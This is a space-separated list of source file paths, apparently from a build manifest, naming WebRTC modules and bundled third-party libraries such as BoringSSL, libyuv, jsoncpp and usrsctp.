Source/third_party/boringssl/src/crypto/thread_win.c Source/third_party/boringssl/src/crypto/x509/a_digest.c Source/third_party/boringssl/src/crypto/x509/a_sign.c Source/third_party/boringssl/src/crypto/x509/a_strex.c Source/third_party/boringssl/src/crypto/x509/a_verify.c Source/third_party/boringssl/src/crypto/x509/algorithm.c Source/third_party/boringssl/src/crypto/x509/asn1_gen.c Source/third_party/boringssl/src/crypto/x509/by_dir.c Source/third_party/boringssl/src/crypto/x509/by_file.c Source/third_party/boringssl/src/crypto/x509/i2d_pr.c Source/third_party/boringssl/src/crypto/x509/rsa_pss.c Source/third_party/boringssl/src/crypto/x509/t_crl.c Source/third_party/boringssl/src/crypto/x509/t_req.c Source/third_party/boringssl/src/crypto/x509/t_x509.c Source/third_party/boringssl/src/crypto/x509/t_x509a.c Source/third_party/boringssl/src/crypto/x509/x509.c Source/third_party/boringssl/src/crypto/x509/x509_att.c Source/third_party/boringssl/src/crypto/x509/x509_cmp.c Source/third_party/boringssl/src/crypto/x509/x509_d2.c Source/third_party/boringssl/src/crypto/x509/x509_def.c Source/third_party/boringssl/src/crypto/x509/x509_ext.c Source/third_party/boringssl/src/crypto/x509/x509_lu.c Source/third_party/boringssl/src/crypto/x509/x509_obj.c Source/third_party/boringssl/src/crypto/x509/x509_r2x.c Source/third_party/boringssl/src/crypto/x509/x509_req.c Source/third_party/boringssl/src/crypto/x509/x509_set.c Source/third_party/boringssl/src/crypto/x509/x509_trs.c Source/third_party/boringssl/src/crypto/x509/x509_txt.c Source/third_party/boringssl/src/crypto/x509/x509_v3.c Source/third_party/boringssl/src/crypto/x509/x509_vfy.c Source/third_party/boringssl/src/crypto/x509/x509_vpm.c Source/third_party/boringssl/src/crypto/x509/x509cset.c Source/third_party/boringssl/src/crypto/x509/x509name.c Source/third_party/boringssl/src/crypto/x509/x509rset.c Source/third_party/boringssl/src/crypto/x509/x509spki.c Source/third_party/boringssl/src/crypto/x509/x_algor.c Source/third_party/boringssl/src/crypto/x509/x_all.c Source/third_party/boringssl/src/crypto/x509/x_attrib.c Source/third_party/boringssl/src/crypto/x509/x_crl.c Source/third_party/boringssl/src/crypto/x509/x_exten.c Source/third_party/boringssl/src/crypto/x509/x_info.c Source/third_party/boringssl/src/crypto/x509/x_name.c Source/third_party/boringssl/src/crypto/x509/x_pkey.c Source/third_party/boringssl/src/crypto/x509/x_pubkey.c Source/third_party/boringssl/src/crypto/x509/x_req.c Source/third_party/boringssl/src/crypto/x509/x_sig.c Source/third_party/boringssl/src/crypto/x509/x_spki.c Source/third_party/boringssl/src/crypto/x509/x_val.c Source/third_party/boringssl/src/crypto/x509/x_x509.c Source/third_party/boringssl/src/crypto/x509/x_x509a.c Source/third_party/boringssl/src/crypto/x509v3/pcy_cache.c Source/third_party/boringssl/src/crypto/x509v3/pcy_data.c Source/third_party/boringssl/src/crypto/x509v3/pcy_lib.c Source/third_party/boringssl/src/crypto/x509v3/pcy_map.c Source/third_party/boringssl/src/crypto/x509v3/pcy_node.c Source/third_party/boringssl/src/crypto/x509v3/pcy_tree.c Source/third_party/boringssl/src/crypto/x509v3/v3_akey.c Source/third_party/boringssl/src/crypto/x509v3/v3_akeya.c Source/third_party/boringssl/src/crypto/x509v3/v3_alt.c Source/third_party/boringssl/src/crypto/x509v3/v3_bcons.c Source/third_party/boringssl/src/crypto/x509v3/v3_bitst.c Source/third_party/boringssl/src/crypto/x509v3/v3_conf.c Source/third_party/boringssl/src/crypto/x509v3/v3_cpols.c Source/third_party/boringssl/src/crypto/x509v3/v3_crld.c Source/third_party/boringssl/src/crypto/x509v3/v3_enum.c Source/third_party/boringssl/src/crypto/x509v3/v3_extku.c Source/third_party/boringssl/src/crypto/x509v3/v3_genn.c Source/third_party/boringssl/src/crypto/x509v3/v3_ia5.c Source/third_party/boringssl/src/crypto/x509v3/v3_info.c Source/third_party/boringssl/src/crypto/x509v3/v3_int.c Source/third_party/boringssl/src/crypto/x509v3/v3_lib.c Source/third_party/boringssl/src/crypto/x509v3/v3_ncons.c Source/third_party/boringssl/src/crypto/x509v3/v3_ocsp.c Source/third_party/boringssl/src/crypto/x509v3/v3_pci.c Source/third_party/boringssl/src/crypto/x509v3/v3_pcia.c Source/third_party/boringssl/src/crypto/x509v3/v3_pcons.c Source/third_party/boringssl/src/crypto/x509v3/v3_pku.c Source/third_party/boringssl/src/crypto/x509v3/v3_pmaps.c Source/third_party/boringssl/src/crypto/x509v3/v3_prn.c Source/third_party/boringssl/src/crypto/x509v3/v3_purp.c Source/third_party/boringssl/src/crypto/x509v3/v3_skey.c Source/third_party/boringssl/src/crypto/x509v3/v3_sxnet.c Source/third_party/boringssl/src/crypto/x509v3/v3_utl.c Source/third_party/boringssl/src/ssl/bio_ssl.cc Source/third_party/boringssl/src/ssl/d1_both.cc Source/third_party/boringssl/src/ssl/d1_lib.cc Source/third_party/boringssl/src/ssl/d1_pkt.cc Source/third_party/boringssl/src/ssl/d1_srtp.cc Source/third_party/boringssl/src/ssl/dtls_method.cc Source/third_party/boringssl/src/ssl/dtls_record.cc Source/third_party/boringssl/src/ssl/handshake.cc Source/third_party/boringssl/src/ssl/handshake_client.cc Source/third_party/boringssl/src/ssl/handshake_server.cc Source/third_party/boringssl/src/ssl/s3_both.cc Source/third_party/boringssl/src/ssl/s3_lib.cc Source/third_party/boringssl/src/ssl/s3_pkt.cc Source/third_party/boringssl/src/ssl/ssl_aead_ctx.cc Source/third_party/boringssl/src/ssl/ssl_asn1.cc Source/third_party/boringssl/src/ssl/ssl_buffer.cc Source/third_party/boringssl/src/ssl/ssl_cert.cc Source/third_party/boringssl/src/ssl/ssl_cipher.cc Source/third_party/boringssl/src/ssl/ssl_file.cc Source/third_party/boringssl/src/ssl/ssl_key_share.cc Source/third_party/boringssl/src/ssl/ssl_lib.cc Source/third_party/boringssl/src/ssl/ssl_privkey.cc Source/third_party/boringssl/src/ssl/ssl_session.cc Source/third_party/boringssl/src/ssl/ssl_stat.cc Source/third_party/boringssl/src/ssl/ssl_transcript.cc Source/third_party/boringssl/src/ssl/ssl_versions.cc Source/third_party/boringssl/src/ssl/ssl_x509.cc Source/third_party/boringssl/src/ssl/t1_enc.cc Source/third_party/boringssl/src/ssl/t1_lib.cc Source/third_party/boringssl/src/ssl/tls13_both.cc Source/third_party/boringssl/src/ssl/tls13_client.cc Source/third_party/boringssl/src/ssl/tls13_enc.cc Source/third_party/boringssl/src/ssl/tls13_server.cc Source/third_party/boringssl/src/ssl/tls_method.cc Source/third_party/boringssl/src/ssl/tls_record.cc Source/third_party/boringssl/src/third_party/fiat/curve25519.c Source/third_party/jsoncpp/source/src/lib_json/json_reader.cpp Source/third_party/jsoncpp/source/src/lib_json/json_value.cpp Source/third_party/jsoncpp/source/src/lib_json/json_writer.cpp Source/third_party/libyuv/source/compare.cc Source/third_party/libyuv/source/compare_common.cc Source/third_party/libyuv/source/compare_gcc.cc Source/third_party/libyuv/source/convert.cc Source/third_party/libyuv/source/convert_argb.cc Source/third_party/libyuv/source/convert_from.cc Source/third_party/libyuv/source/convert_from_argb.cc Source/third_party/libyuv/source/convert_jpeg.cc Source/third_party/libyuv/source/convert_to_argb.cc Source/third_party/libyuv/source/convert_to_i420.cc Source/third_party/libyuv/source/cpu_id.cc Source/third_party/libyuv/source/mjpeg_decoder.cc Source/third_party/libyuv/source/mjpeg_validate.cc Source/third_party/libyuv/source/planar_functions.cc Source/third_party/libyuv/source/compare_neon.cc Source/third_party/libyuv/source/compare_neon64.cc Source/third_party/libyuv/source/rotate.cc Source/third_party/libyuv/source/rotate_any.cc Source/third_party/libyuv/source/rotate_argb.cc Source/third_party/libyuv/source/rotate_common.cc Source/third_party/libyuv/source/rotate_gcc.cc Source/third_party/libyuv/source/rotate_neon.cc Source/third_party/libyuv/source/rotate_neon64.cc Source/third_party/libyuv/source/row_any.cc Source/third_party/libyuv/source/row_common.cc Source/third_party/libyuv/source/row_gcc.cc Source/third_party/libyuv/source/row_neon.cc Source/third_party/libyuv/source/row_neon64.cc Source/third_party/libyuv/source/scale.cc Source/third_party/libyuv/source/scale_any.cc Source/third_party/libyuv/source/scale_argb.cc Source/third_party/libyuv/source/scale_common.cc Source/third_party/libyuv/source/scale_gcc.cc Source/third_party/libyuv/source/scale_neon.cc Source/third_party/libyuv/source/scale_neon64.cc Source/third_party/libyuv/source/video_common.cc Source/third_party/pffft/src/pffft.c Source/third_party/rnnoise/src/rnn_vad_weights.cc Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_asconf.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_auth.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_bsd_addr.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_callout.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_cc_functions.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_crc32.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_indata.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_input.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_output.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_pcb.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_peeloff.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_sha1.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_ss_functions.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_sysctl.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_timer.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_userspace.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctp_usrreq.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet/sctputil.c Source/third_party/usrsctp/usrsctplib/usrsctplib/netinet6/sctp6_usrreq.c Source/third_party/usrsctp/usrsctplib/usrsctplib/user_environment.c Source/third_party/usrsctp/usrsctplib/usrsctplib/user_mbuf.c Source/third_party/usrsctp/usrsctplib/usrsctplib/user_recv_thread.c Source/third_party/usrsctp/usrsctplib/usrsctplib/user_socket.c Source/webrtc/api/audio/audio_frame.cc Source/webrtc/api/audio/channel_layout.cc Source/webrtc/api/audio/echo_canceller3_config.cc Source/webrtc/api/audio/echo_canceller3_factory.cc Source/webrtc/api/audio_codecs/L16/audio_decoder_L16.cc Source/webrtc/api/audio_codecs/L16/audio_encoder_L16.cc Source/webrtc/api/audio_codecs/audio_codec_pair_id.cc Source/webrtc/api/audio_codecs/audio_decoder.cc Source/webrtc/api/audio_codecs/audio_encoder.cc Source/webrtc/api/audio_codecs/audio_format.cc Source/webrtc/api/audio_codecs/builtin_audio_decoder_factory.cc Source/webrtc/api/audio_codecs/builtin_audio_encoder_factory.cc Source/webrtc/api/audio_codecs/g711/audio_decoder_g711.cc Source/webrtc/api/audio_codecs/g711/audio_encoder_g711.cc Source/webrtc/api/audio_codecs/g722/audio_decoder_g722.cc Source/webrtc/api/audio_codecs/g722/audio_encoder_g722.cc Source/webrtc/api/audio_codecs/ilbc/audio_decoder_ilbc.cc Source/webrtc/api/audio_codecs/ilbc/audio_encoder_ilbc.cc Source/webrtc/api/audio_codecs/isac/audio_decoder_isac_fix.cc Source/webrtc/api/audio_codecs/isac/audio_decoder_isac_float.cc Source/webrtc/api/audio_codecs/isac/audio_encoder_isac_fix.cc Source/webrtc/api/audio_codecs/isac/audio_encoder_isac_float.cc Source/webrtc/api/audio_codecs/opus/audio_decoder_multi_channel_opus.cc Source/webrtc/api/audio_codecs/opus/audio_decoder_opus.cc Source/webrtc/api/audio_codecs/opus/audio_encoder_multi_channel_opus.cc Source/webrtc/api/audio_codecs/opus/audio_encoder_multi_channel_opus_config.cc Source/webrtc/api/audio_codecs/opus/audio_encoder_opus.cc Source/webrtc/api/audio_codecs/opus/audio_encoder_opus_config.cc Source/webrtc/api/audio_options.cc Source/webrtc/api/call/transport.cc Source/webrtc/api/candidate.cc Source/webrtc/api/create_peerconnection_factory.cc Source/webrtc/api/crypto/crypto_options.cc Source/webrtc/api/data_channel_interface.cc Source/webrtc/api/dtls_transport_interface.cc Source/webrtc/api/ice_transport_factory.cc Source/webrtc/api/jsep.cc Source/webrtc/api/jsep_ice_candidate.cc Source/webrtc/api/media_stream_interface.cc Source/webrtc/api/media_types.cc Source/webrtc/api/neteq/custom_neteq_factory.cc Source/webrtc/api/neteq/default_neteq_controller_factory.cc Source/webrtc/api/neteq/neteq.cc Source/webrtc/api/neteq/tick_timer.cc Source/webrtc/api/peer_connection_interface.cc Source/webrtc/api/proxy.cc Source/webrtc/api/rtc_error.cc Source/webrtc/api/rtc_event_log_output_file.cc Source/webrtc/api/rtc_event_log/rtc_event.cc Source/webrtc/api/rtc_event_log/rtc_event_log.cc Source/webrtc/api/rtc_event_log/rtc_event_log_factory.cc Source/webrtc/api/rtp_headers.cc Source/webrtc/api/rtp_packet_info.cc Source/webrtc/api/rtp_parameters.cc Source/webrtc/api/rtp_receiver_interface.cc Source/webrtc/api/rtp_sender_interface.cc Source/webrtc/api/rtp_transceiver_interface.cc Source/webrtc/api/sctp_transport_interface.cc Source/webrtc/api/stats_types.cc Source/webrtc/api/task_queue/default_task_queue_factory_stdlib.cc Source/webrtc/api/task_queue/task_queue_base.cc Source/webrtc/api/transport/bitrate_settings.cc Source/webrtc/api/transport/field_trial_based_config.cc Source/webrtc/api/transport/goog_cc_factory.cc Source/webrtc/api/transport/media/audio_transport.cc Source/webrtc/api/transport/media/media_transport_config.cc Source/webrtc/api/transport/media/media_transport_interface.cc Source/webrtc/api/transport/media/video_transport.cc Source/webrtc/api/transport/network_types.cc Source/webrtc/api/transport/stun.cc Source/webrtc/api/units/data_rate.cc Source/webrtc/api/units/data_size.cc Source/webrtc/api/units/time_delta.cc Source/webrtc/api/units/timestamp.cc Source/webrtc/api/video/builtin_video_bitrate_allocator_factory.cc Source/webrtc/api/video/color_space.cc Source/webrtc/api/video/encoded_frame.cc Source/webrtc/api/video/encoded_image.cc Source/webrtc/api/video/hdr_metadata.cc Source/webrtc/api/video/i010_buffer.cc Source/webrtc/api/video/i420_buffer.cc Source/webrtc/api/video/video_bitrate_allocation.cc Source/webrtc/api/video/video_bitrate_allocator.cc Source/webrtc/api/video/video_content_type.cc Source/webrtc/api/video/video_frame.cc Source/webrtc/api/video/video_frame_buffer.cc Source/webrtc/api/video/video_source_interface.cc Source/webrtc/api/video/video_stream_decoder_create.cc Source/webrtc/api/video/video_stream_encoder_create.cc Source/webrtc/api/video/video_stream_encoder_observer.cc Source/webrtc/api/video/video_timing.cc Source/webrtc/api/video_codecs/builtin_video_decoder_factory.cc Source/webrtc/api/video_codecs/builtin_video_encoder_factory.cc Source/webrtc/api/video_codecs/sdp_video_format.cc Source/webrtc/api/video_codecs/video_codec.cc Source/webrtc/api/video_codecs/video_decoder.cc Source/webrtc/api/video_codecs/video_decoder_factory.cc Source/webrtc/api/video_codecs/video_decoder_software_fallback_wrapper.cc Source/webrtc/api/video_codecs/video_encoder.cc Source/webrtc/api/video_codecs/video_encoder_config.cc Source/webrtc/api/video_codecs/video_encoder_software_fallback_wrapper.cc Source/webrtc/api/video_codecs/vp8_frame_config.cc Source/webrtc/api/video_codecs/vp8_temporal_layers.cc Source/webrtc/api/video_codecs/vp8_temporal_layers_factory.cc Source/webrtc/audio/audio_level.cc Source/webrtc/audio/audio_receive_stream.cc Source/webrtc/audio/audio_send_stream.cc Source/webrtc/audio/audio_state.cc Source/webrtc/audio/audio_transport_impl.cc Source/webrtc/audio/channel_receive.cc Source/webrtc/audio/channel_send.cc Source/webrtc/audio/null_audio_poller.cc Source/webrtc/audio/remix_resample.cc Source/webrtc/audio/utility/audio_frame_operations.cc Source/webrtc/audio/utility/channel_mixer.cc Source/webrtc/audio/utility/channel_mixing_matrix.cc Source/webrtc/call/audio_receive_stream.cc Source/webrtc/call/audio_send_stream.cc Source/webrtc/call/audio_state.cc Source/webrtc/call/bitrate_allocator.cc Source/webrtc/call/call.cc Source/webrtc/call/call_config.cc Source/webrtc/call/call_factory.cc Source/webrtc/call/degraded_call.cc Source/webrtc/call/fake_network_pipe.cc Source/webrtc/call/flexfec_receive_stream.cc Source/webrtc/call/flexfec_receive_stream_impl.cc Source/webrtc/call/receive_time_calculator.cc Source/webrtc/call/rtcp_demuxer.cc Source/webrtc/call/rtp_bitrate_configurator.cc Source/webrtc/call/rtp_config.cc Source/webrtc/call/rtp_demuxer.cc Source/webrtc/call/rtp_payload_params.cc Source/webrtc/call/rtp_rtcp_demuxer_helper.cc Source/webrtc/call/rtp_stream_receiver_controller.cc Source/webrtc/call/rtp_transport_controller_send.cc Source/webrtc/call/rtp_video_sender.cc Source/webrtc/call/rtx_receive_stream.cc Source/webrtc/call/simulated_network.cc Source/webrtc/call/syncable.cc Source/webrtc/call/video_receive_stream.cc Source/webrtc/call/video_send_stream.cc Source/webrtc/call/adaptation/encoder_settings.cc Source/webrtc/call/adaptation/resource_adaptation_processor_interface.cc Source/webrtc/call/adaptation/resource.cc Source/webrtc/call/adaptation/resource_consumer.cc Source/webrtc/call/adaptation/resource_consumer_configuration.cc Source/webrtc/call/adaptation/video_source_restrictions.cc Source/webrtc/common_audio/audio_converter.cc Source/webrtc/common_audio/audio_util.cc Source/webrtc/common_audio/channel_buffer.cc Source/webrtc/common_audio/fir_filter_c.cc Source/webrtc/common_audio/fir_filter_factory.cc Source/webrtc/common_audio/real_fourier.cc Source/webrtc/common_audio/real_fourier_ooura.cc Source/webrtc/common_audio/resampler/push_resampler.cc Source/webrtc/common_audio/resampler/push_sinc_resampler.cc Source/webrtc/common_audio/resampler/resampler.cc Source/webrtc/common_audio/resampler/sinc_resampler.cc Source/webrtc/common_audio/ring_buffer.c Source/webrtc/common_audio/signal_processing/auto_corr_to_refl_coef.c Source/webrtc/common_audio/signal_processing/auto_correlation.c Source/webrtc/common_audio/signal_processing/complex_bit_reverse.c Source/webrtc/common_audio/signal_processing/complex_fft.c Source/webrtc/common_audio/signal_processing/copy_set_operations.c Source/webrtc/common_audio/signal_processing/cross_correlation.c Source/webrtc/common_audio/signal_processing/division_operations.c Source/webrtc/common_audio/signal_processing/dot_product_with_scale.cc Source/webrtc/common_audio/signal_processing/downsample_fast.c Source/webrtc/common_audio/signal_processing/energy.c Source/webrtc/common_audio/signal_processing/filter_ar.c Source/webrtc/common_audio/signal_processing/filter_ar_fast_q12.c Source/webrtc/common_audio/signal_processing/filter_ma_fast_q12.c Source/webrtc/common_audio/signal_processing/get_hanning_window.c Source/webrtc/common_audio/signal_processing/get_scaling_square.c Source/webrtc/common_audio/signal_processing/ilbc_specific_functions.c Source/webrtc/common_audio/signal_processing/levinson_durbin.c Source/webrtc/common_audio/signal_processing/lpc_to_refl_coef.c Source/webrtc/common_audio/signal_processing/min_max_operations.c Source/webrtc/common_audio/signal_processing/randomization_functions.c Source/webrtc/common_audio/signal_processing/real_fft.c Source/webrtc/common_audio/signal_processing/refl_coef_to_lpc.c Source/webrtc/common_audio/signal_processing/resample.c Source/webrtc/common_audio/signal_processing/resample_48khz.c Source/webrtc/common_audio/signal_processing/resample_by_2.c Source/webrtc/common_audio/signal_processing/resample_by_2_internal.c Source/webrtc/common_audio/signal_processing/resample_fractional.c Source/webrtc/common_audio/signal_processing/spl_init.c Source/webrtc/common_audio/signal_processing/spl_inl.c Source/webrtc/common_audio/signal_processing/spl_sqrt.c Source/webrtc/common_audio/signal_processing/splitting_filter.c Source/webrtc/common_audio/signal_processing/sqrt_of_one_minus_x_squared.c Source/webrtc/common_audio/signal_processing/vector_scaling_operations.c Source/webrtc/common_audio/smoothing_filter.cc Source/webrtc/common_audio/third_party/fft4g/fft4g.c Source/webrtc/common_audio/third_party/spl_sqrt_floor/spl_sqrt_floor.c Source/webrtc/common_audio/vad/vad.cc Source/webrtc/common_audio/vad/vad_core.c Source/webrtc/common_audio/vad/vad_filterbank.c Source/webrtc/common_audio/vad/vad_gmm.c Source/webrtc/common_audio/vad/vad_sp.c Source/webrtc/common_audio/vad/webrtc_vad.c Source/webrtc/common_audio/wav_file.cc Source/webrtc/common_audio/wav_header.cc Source/webrtc/common_audio/window_generator.cc Source/webrtc/common_video/bitrate_adjuster.cc Source/webrtc/common_video/frame_rate_estimator.cc Source/webrtc/common_video/generic_frame_descriptor/generic_frame_info.cc Source/webrtc/common_video/h264/h264_bitstream_parser.cc Source/webrtc/common_video/h264/h264_common.cc Source/webrtc/common_video/h264/pps_parser.cc Source/webrtc/common_video/h264/sps_parser.cc Source/webrtc/common_video/h264/sps_vui_rewriter.cc Source/webrtc/common_video/i420_buffer_pool.cc Source/webrtc/common_video/incoming_video_stream.cc Source/webrtc/common_video/libyuv/webrtc_libyuv.cc Source/webrtc/common_video/video_frame_buffer.cc Source/webrtc/common_video/video_render_frames.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_alr_state.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_audio_network_adaptation.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_audio_playout.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_audio_receive_stream_config.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_audio_send_stream_config.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_bwe_update_delay_based.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_bwe_update_loss_based.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_dtls_transport_state.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_dtls_writable_state.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_generic_ack_received.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_generic_packet_received.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_generic_packet_sent.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_ice_candidate_pair.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_ice_candidate_pair_config.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_probe_cluster_created.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_probe_result_failure.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_probe_result_success.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_route_change.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_rtcp_packet_incoming.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_rtcp_packet_outgoing.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_rtp_packet_incoming.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_rtp_packet_outgoing.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_video_receive_stream_config.cc Source/webrtc/logging/rtc_event_log/events/rtc_event_video_send_stream_config.cc Source/webrtc/logging/rtc_event_log/ice_logger.cc Source/webrtc/logging/rtc_event_log/logged_events.cc Source/webrtc/logging/rtc_event_log/rtc_event_log_impl.cc Source/webrtc/logging/rtc_event_log/rtc_event_processor.cc Source/webrtc/logging/rtc_event_log/rtc_stream_config.cc Source/webrtc/media/base/adapted_video_track_source.cc Source/webrtc/media/base/codec.cc Source/webrtc/media/base/h264_profile_level_id.cc Source/webrtc/media/base/media_channel.cc Source/webrtc/media/base/media_constants.cc Source/webrtc/media/base/media_engine.cc Source/webrtc/media/base/rid_description.cc Source/webrtc/media/base/rtp_data_engine.cc Source/webrtc/media/base/rtp_utils.cc Source/webrtc/media/base/stream_params.cc Source/webrtc/media/base/turn_utils.cc Source/webrtc/media/base/video_adapter.cc Source/webrtc/media/base/video_broadcaster.cc Source/webrtc/media/base/video_common.cc Source/webrtc/media/base/video_source_base.cc Source/webrtc/media/base/vp9_profile.cc Source/webrtc/media/engine/adm_helpers.cc Source/webrtc/media/engine/constants.cc Source/webrtc/media/engine/encoder_simulcast_proxy.cc Source/webrtc/media/engine/internal_decoder_factory.cc Source/webrtc/media/engine/internal_encoder_factory.cc Source/webrtc/media/engine/multiplex_codec_factory.cc Source/webrtc/media/engine/payload_type_mapper.cc Source/webrtc/media/engine/simulcast.cc Source/webrtc/media/engine/simulcast_encoder_adapter.cc Source/webrtc/media/engine/unhandled_packets_buffer.cc Source/webrtc/media/engine/webrtc_media_engine.cc Source/webrtc/media/engine/webrtc_media_engine_defaults.cc Source/webrtc/media/engine/webrtc_video_engine.cc Source/webrtc/media/engine/webrtc_voice_engine.cc Source/webrtc/media/sctp/sctp_transport.cc Source/webrtc/modules/audio_coding/acm2/acm_receiver.cc Source/webrtc/modules/audio_coding/acm2/acm_remixing.cc Source/webrtc/modules/audio_coding/acm2/acm_resampler.cc Source/webrtc/modules/audio_coding/acm2/audio_coding_module.cc Source/webrtc/modules/audio_coding/acm2/call_statistics.cc Source/webrtc/modules/audio_coding/audio_network_adaptor/audio_network_adaptor_config.cc Source/webrtc/modules/audio_coding/audio_network_adaptor/audio_network_adaptor_impl.cc Source/webrtc/modules/audio_coding/audio_network_adaptor/bitrate_controller.cc Source/webrtc/modules/audio_coding/audio_network_adaptor/channel_controller.cc Source/webrtc/modules/audio_coding/audio_network_adaptor/controller.cc Source/webrtc/modules/audio_coding/audio_network_adaptor/controller_manager.cc Source/webrtc/modules/audio_coding/audio_network_adaptor/debug_dump_writer.cc Source/webrtc/modules/audio_coding/audio_network_adaptor/dtx_controller.cc Source/webrtc/modules/audio_coding/audio_network_adaptor/event_log_writer.cc Source/webrtc/modules/audio_coding/audio_network_adaptor/frame_length_controller.cc Source/webrtc/modules/audio_coding/codecs/cng/audio_encoder_cng.cc Source/webrtc/modules/audio_coding/codecs/cng/webrtc_cng.cc Source/webrtc/modules/audio_coding/codecs/g711/audio_decoder_pcm.cc Source/webrtc/modules/audio_coding/codecs/g711/audio_encoder_pcm.cc Source/webrtc/modules/audio_coding/codecs/g711/g711_interface.c Source/webrtc/modules/audio_coding/codecs/g722/audio_decoder_g722.cc Source/webrtc/modules/audio_coding/codecs/g722/audio_encoder_g722.cc Source/webrtc/modules/audio_coding/codecs/g722/g722_interface.c Source/webrtc/modules/audio_coding/codecs/ilbc/audio_decoder_ilbc.cc Source/webrtc/modules/audio_coding/codecs/ilbc/audio_encoder_ilbc.cc Source/webrtc/modules/audio_coding/codecs/isac/fix/source/arith_routines.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/arith_routines_hist.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/arith_routines_logist.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/audio_decoder_isacfix.cc Source/webrtc/modules/audio_coding/codecs/isac/fix/source/audio_encoder_isacfix.cc Source/webrtc/modules/audio_coding/codecs/isac/fix/source/bandwidth_estimator.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/decode.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/decode_bwe.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/decode_plc.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/encode.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/entropy_coding.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/fft.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/filterbank_tables.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/filterbanks.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/filters.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/initialize.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/isacfix.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/lattice.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/lattice_c.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/lpc_masking_model.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/lpc_tables.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/pitch_estimator.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/pitch_estimator_c.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/pitch_filter.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/pitch_filter_c.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/pitch_gain_tables.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/pitch_lag_tables.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/spectrum_ar_model_tables.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/transform.c Source/webrtc/modules/audio_coding/codecs/isac/fix/source/transform_tables.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/audio_decoder_isac.cc Source/webrtc/modules/audio_coding/codecs/isac/main/source/audio_encoder_isac.cc Source/webrtc/modules/audio_coding/codecs/isac/main/source/bandwidth_estimator.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/crc.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/decode.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/decode_bwe.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/encode.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/encode_lpc_swb.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/entropy_coding.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/filter_functions.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/filterbanks.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/intialize.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/isac.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/isac_vad.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/lattice.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/lpc_analysis.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/lpc_gain_swb_tables.c Source/webrtc/modules/audio_coding/codecs/isac/main/source/lpc_shape_swb12_tables.c 